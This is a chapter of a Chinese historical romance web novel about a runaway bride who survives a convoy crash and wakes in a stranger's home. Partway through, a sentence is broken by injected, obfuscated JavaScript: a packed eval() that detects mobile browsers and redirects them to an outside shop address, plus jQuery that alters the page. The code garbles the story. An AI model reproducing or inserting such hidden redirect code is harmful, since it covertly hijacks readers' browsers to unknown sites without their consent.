元晟七年。
外有我军大胜突厥,克五陇阪、杜阳谷。
内有枭侠替天行道,诛累恶旧族,顺应民心。
上心大悦,万民同庆。
元晟八年,仲春。
城郊细草已密密冒出,花阴草色漫过河桥野寺,城中垂柳飘丝,宫花吐蕊,莺燕啭啼不止,晓色迷蒙之中好一派初春气象。
常安城内。宫里晓鼓自五更声起,沿朱雀、承天、春明、安上、含光、启夏六条主街一波波敲去,坊门亦顺次开启。
铺卒们把哈欠掐在牙根后,收弓卸甲,挺着精神交班。
沈宅在北城。鼓声方一响,便有两名小厮悄声抬个轿子,从后侧门出了。
轿行至春明门近处,小厮屈身落轿,从里头走出位戴帷帽、穿赭色窄袖衫的女子,身材细瘦,举止含蓄,柳絮似的落下来,轻声笑道:“劳累两位执事。”
其中一小厮年纪略大,行色机敏,将一轻巧扁包袱递与女子,后微微俯首点头,拱手道:“女郎哪里话!咱们为三郎君办事,哪里累得?只是三郎前夜里左右嘱咐,望女郎一切小心,先去庄子住下,待安定了托人回书。既在近处,过所就不用了,过几日他亲自探望去。”
女子的脸隐在帷帽下,并看不清神色,只微微点头。
小厮平日在外院侍候,只当她是三郎君一时看上的丫鬟,有心拉拢,又笑问:“女郎何不等过明日再走?咱们家二娘子明日大喜,老爷夫人仁厚,得许多赏钱哩。”
女子又笑,从荷包里取钱。
小厮先前已被主人严厉喝令,事情办好,回去重重有赏,单不许接这女子的钱;此时哪里敢要,只得连连推拒,道别后与另一小厮抬轿返回了。
女子目送他们离去,仰头看一看天,转身没入出城众人里。
是夜,沈宅急传:二娘子突犯恶疾,礼仪将隳。
谢氏持义守约,遂延佳期,厚馈药饵,遣良医视疾,若己族之属;公子谢翀更亲登岳门,不弃信于急难,不徇俗论之短见,全两姓之深谊。
沈父深感贤婿难得,世人闻知,更叹公子仁厚;此等种种,暂按不叙。
玉川正在船上与人凑钱买象鼻炙干,说是岭南传来的风物,味道肥脆。到手只见干荷叶包着黑乎乎一块儿肉干,咬下去只觉咸腻,她失望地放下帽帷,倚着栏杆看向阔瀚江面。
玉川的闺字已不重要,既逃婚,便是决心弃旧。
有诗人字玉川,诗云:玉川子,乘此清风欲归去!
人必然是无法真乘清风而去的。她却喜欢这诗人狷介之性,便假借名号,以后只自称玉川。
船至临县,玉川下船摘了帷帽。自己常年居于深闺,又身处异乡,想必此处再也无人识得这张脸罢!
想着便浑身轻快,抬起眼睛瞧瞧四周,并无人多看她一眼。
她生得不美,连“清丽”二字都勉为其难。眼睛太细,鼻梁太尖,嘴唇薄削,眉眼上挑,耳朵尖竖似狸猫,手指细长。当朝以肥为美,自己却一副十足的苦狐狸相。
且患有隐疾。谁娶到她这样儿的,可真是倒楣!
她边寻落脚边想:谢二啊谢二,你我虽未曾谋面,我却是一片好心!我父亲极好体面,定将此事处理妥当不漏风声,你当是能顺水推舟退婚了。若今后娶得貌美贤妻,可要念我这份不嫁之恩。
又想到那位谢二公子患有目疾,暗暗把“貌美”换成“端慧”二字。
玉川有心省钱,并不进酒楼。落座路边小店,要了碗栗米粥,粥里加冬葵和荠菜。
谁知村县饭食粗硬,在嘴里涩涩难嚼;好容易咽下去,胸口噎得直疼;揉了半天喉咙,顿时怀念起甜糯可口的清风饭。
唉,唉。自己寻的,何苦来呢!
慢慢把这碗粥嚼完,只觉得命已经舍出去一半儿。
怪道老三千拦万阻,甚麽“你吃不惯外头”“睡也没的家里舒坦”云云……看来如今已经应验了。
难受归难受,路却不能停,她要去江南吴州。
吴州是亡母故乡。母亲去时正逢前朝乱世,那时她不过八岁。后因故辗转,母亲灵柩悄然落回母族,沈家祖坟里便只余一副空棺。
看天气又要下雨。
她出来时带了不少首饰银子,在外并不敢露富。当时诓老三说是去庄子上小住,只避一避婚期,他倒是实诚,过所也不给。钱倒是够,可怎麽出州呢?
去年春天回暖早,雨水充沛,今年运送丝绸的车队便早早地往返。
附近多是驿站车坊,许多准备返回江南的商队结在这里,玉川目光缓缓落在其中一队车上。
这队车马已行驶了不知几个日夜,快捷如风。
玉川暗暗庆幸自己选对了车队,这帮人驾车赶命一般,驿站都不住,夜间只在路上随意驻扎,她便借机溜下去更衣——虽说窃乘有失风度,可非常之时须得行非常之事。
玉川合掌默念阿弥陀佛,拜了拜佛祖求宽恕,又暗想不知还要走多久,自己粮水都精简着吃,几日不洗澡,衣服却都馊了……
再悄悄回到车厢里,屁股底下是关中的皮毛,脑袋顶上是河东的药材,背后靠着西域的珍宝,胳膊底下垫着两京的书籍。这商队极会做生意,她无聊时借着缝隙透光瞧,字画是仿的,若非专攻赏玩的人士还真瞧不出来。
北方有几位才子声名鹊起,江南老爷们爱才,这帮人便低价收了字画,到江南再高价卖去,好个“财运亨通”!
车里还隐隐有硫磺味儿,她几次疑心自己闻错了,这气味却总若有若无盘旋着。
正想掀开前头毡布看时,忽然间天旋地转,马匹嘶鸣起来,人声震吼。车厢撞上石头,货物顷刻间在半空散了个七零八落,顺着一侧悬崖坠下去。
痛,好痛。
火,好大的火。
小玉川立在房前,房屋在燃烧,通天的火焰将头顶那片夜空舔出昏昏紫红。
她猛地惊醒,本想像话本里落难侠士那般从噩梦里猛地跃起,却不想脑袋刚离枕头,浑身就疼散了架一样,腰里卡拉一声疼得她眼泪直流,不得不悻悻躺回去。
身上已换了干燥清爽的粗布衣裳。
右胳臂断了,僵着不能动。
左腿折了,僵着不能动。
腰也伤狠了,僵着不能动。
左手手腕肿得老高。
脑袋上硕大一个包。
嗓子像火烧过一样。
她挣扎着摸摸自己的脉,当真是有惊无险。
然而这高热不得不止住,否则人要烧傻了。
玉川抬起头,这才有空打量周围。
似是在农户家中,陈设一素简朴无比,唯独墙角堆着檀木包铜嵌宝箱与错金银铁甲箱,两只箱子气势恢宏,与房子格格
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288286|198474||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不入。
两只宝箱盖子并不合上,金玉首饰、银铜杯盏、宝石香丸错杂裹缠在一处——
玉川心里凉了半截。
若是普通农户,家中怎会有这些难得的财物?
若是富裕人家,又怎会将钱财归置得如此毫无章法?
倒是前几年大乱时,她有幸见识过恶仆勾结匪帮趁机打家劫舍的场面,抢来的东西一股脑塞进箱子,顾不上也不懂得分门别类,金的玉的都缠在一起,便是眼前这样了。
可若是匪人,又为甚麽救她性命?
这般行事也不像谋财谋色,难不成已经认出她身份,想勒索家里放血?
床边就有扇窗子,只是没打开。
玉川挣扎着伸手去推窗,这时屋门吱呀被推开,一名黑衣少年端着药碗走进来。
这是位与她年纪相仿的俊逸少年。身量很高,散着长发,眉目间萧肃清举,风姿亦是卓然,真当得起“骨重神寒”四字。
少年拄着根树枝削成的简陋拐杖,走路又慢又跛;见她醒来也不言笑,只将热气腾腾的药碗搁在床边,自己很疲倦似的在箱旁椅子坐下。
这定不是等闲之辈。
玉川边暗想,边肃然拜谢道:“多谢公子救命之恩。”
谁知那少年坐下便靠着椅背闭目养神,也不知听没听着,总之并不理她。
玉川瞧他不发一言,便以为是位哑人。聋哑多为伴生,听不见也有情可原。
端起药碗粗闻了闻,多是活血化瘀、提气补虚的几味,只是材质不好,煎制手法也粗糙,药汤里还飘着可疑的干草枯叶。
漂泊在外,凡事求不得精细。玉川咬咬牙,一闷气灌下去,好苦。
苦得她再次泪花翻涌,四肢五骸都打了个哆嗦。
泪眼朦胧中,只见少年半睁开眼,拐杖随意在宝箱里拨了拨,而后轻轻一挑,一个蝴蝶银盒抛进玉川怀里。
盒盖捶揲白鹤卧犀云纹,盒身镶着蛤状鸳鸯纹银扣,打开只觉得甜香扑鼻,竟是一盒琥珀石蜜。不知道用了甚麽法子,炮制成各式花样,散着浓浓桂花味儿。
玉川含了一颗,柔柔的甜蜜顺着喉咙安抚了胃,亦安抚了心神。
“你东西在枕下。”少年忽然说话了。
原来他不是哑巴,声音还怪好听。玉川一时有些愣怔,摸不准他这是甚麽意思。
少年眼睛睁也未睁,隔了会儿仿佛又想起甚麽,补充道:“镇上有车坊。”
这是让自个儿雇车夫去?
老三先前与她讲过,外地人雇车要去市署,市署市令又要看过所市券,没的过所又要被送到官府。那些官员隔着几千里都用同一只眼睛同一只手,必得查出她是谁人,这一趟岂不白折腾了麽?
玉川一咬牙,眼泪便簌簌落下来:“恩公宅心仁厚,是难得的好公子,可莫要赶我去……我本是常安人,自父亲病逝便家道中落,本投奔了叔叔,谁知他好赌钱,竟要将我卖入贱籍抵债……我是逃出来的,若是再被送回去,只好一头撞死了!”
少年依旧闭着眼,动也不动,恍若未闻。
“我这些细软尽留给公子,权当谢恩。还望公子收留些日子,待腿脚便利些,玉川定不会打搅公子了。”
少年似乎听烦了,皱起眉头,睁眼看向床上哭哭啼啼的人。
随后站起身,拄着拐杖慢慢走出门去。